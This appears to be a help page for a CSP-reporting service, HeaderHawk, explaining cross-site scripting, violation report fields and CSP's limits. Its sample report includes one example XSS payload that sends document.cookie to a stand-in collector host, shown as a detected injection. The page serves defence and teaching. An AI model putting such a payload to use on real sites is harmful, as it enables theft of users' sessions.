Injected code
CSP and XSS
A Content Security Policy does not prevent cross-site scripting. It limits what an injected script can do once the injection has worked. That makes it worth having, and it is still no substitute for fixing the injection.
Client-side security covers Trusted Types too, the control that acts where the injection happens.
What the attack is
Cross-site scripting is the browser being persuaded to treat attacker data as code: a search term echoed back unescaped, a comment rendered as markup, a URL fragment written into innerHTML. However it gets in, the result is script running on your origin, with your cookies, your session and your users' trust.
The browser cannot tell that script apart from yours, because it arrived in your document, from your domain. A policy makes the browser ask a second question before running anything: did the site say this was allowed? An injected <script> block has no nonce and no allowlisted URL, so a policy without 'unsafe-inline' refuses it.
What the report looks like
This is the body a browser posts to your reporting endpoint when a policy refuses an inline script, field for field.
{
"csp-report": {
"document-uri": "https://shop.example.com/products/1421?q=trainers",
"referrer": "https://shop.example.com/search",
"violated-directive": "script-src-elem",
"effective-directive": "script-src-elem",
"original-policy": "default-src 'self'; script-src 'self' 'report-sample'; report-uri https://k3x9mp2nq7ab.ingest.us.headerhawk.com/r",
"disposition": "report",
"blocked-uri": "inline",
"status-code": 200,
"script-sample": "fetch('https://collector.example.net/c?d='+document.cookie)"
}
}How it appears in HeaderHawk
script-src-elem inline script (a3d41634)
- blocked-uri is the literal string inline, not a URL. A <script> block or an event handler was refused, and there is no host to look up.
- script-sample is the first characters of the offending code, and it makes the report actionable. Browsers send it only when your policy carries 'report-sample'.
- HeaderHawk hashes the sample into the issue signature, so two different injected scripts are two issues, and one payload on forty pages is one issue with forty affected pages.
- violated-directive says script-src-elem even if your policy only says script-src. Browsers report the most specific directive consulted, and grouping follows it.
- disposition: report means nothing was blocked, and the script ran. Blocking it is a change to your header.
Field by field: the script-src reference.
What HeaderHawk does with it
One injected script on a busy page sends a report per page load, from every browser that renders it, for as long as the injection is live. HeaderHawk groups them by payload. An inline violation's signature is its directive plus a hash of the code sample, so the issue list holds one row per payload, with its report count, how many pages it appeared on, and when it was first and last seen.
Open a row for the reports behind it: the source file, line and column, the sample, the full policy in force, and the browser and operating system that sent it. For an XSS investigation, read the page count and the first-seen time. A payload on one page is a single bad input. The same payload across hundreds is stored, and first seen is roughly when it was stored.
Reports from browser-extension schemes or known crawler user agents are marked as noise first. They stay in the dashboard, since an extension is sometimes what you are chasing, but they never raise an alert on their own.
Alerts go by browser agreement, not by a volume you set. Reports gather in 15-minute windows. A window that two or more browser families reported, or that carries twenty or more signal reports from one, goes straight to Slack, email or a webhook, and quieter windows go to a daily or weekly digest. There is no threshold to set and no spike detection on violations.
Where CSP alone is not enough
- It does not stop the injection. The bug that rendered attacker input into your page is still there whether or not the browser ran the result.
- In report-only mode nothing is blocked. The browser loads the page as it would have and sends you a report. Only switching your own header to an enforcing policy turns a report into a block.
- A policy containing 'unsafe-inline' reports nothing for this attack, because nothing violated it. Nor does a script-src that allows a host the attacker can already write to.
- DOM-based XSS is mostly invisible here. When injected data reaches a sink like innerHTML through code you shipped, the script that runs is yours, from an origin you allow, and no directive is consulted. require-trusted-types-for is the CSP answer to that, and it works differently from an allowlist.
- Exfiltration through an allowed origin produces no report either. If the attacker's code can reach an endpoint your connect-src or img-src already permits, the browser has nothing to object to.
- HeaderHawk sees the report, not the page. On the Free and Team plans nothing fetches your pages, so a policy that stopped being sent looks like reports that stopped arriving. On the Professional plan and above, the pages you mark are scanned daily and a policy that disappears from one raises an alert. Pages you have not marked are only as visible as their reports.
Where to go next
- The
script-srcreference covers what the directive controls and the sources worth allowing. require-trusted-types-foris the directive aimed at DOM XSS, which an allowlist does not reach.- Third-party scripts covers the other way script you did not write ends up on your page.
See what your pages are running
Put a tight script-src on one page in
report-only mode. Nothing breaks, and the reports start with the next page
load.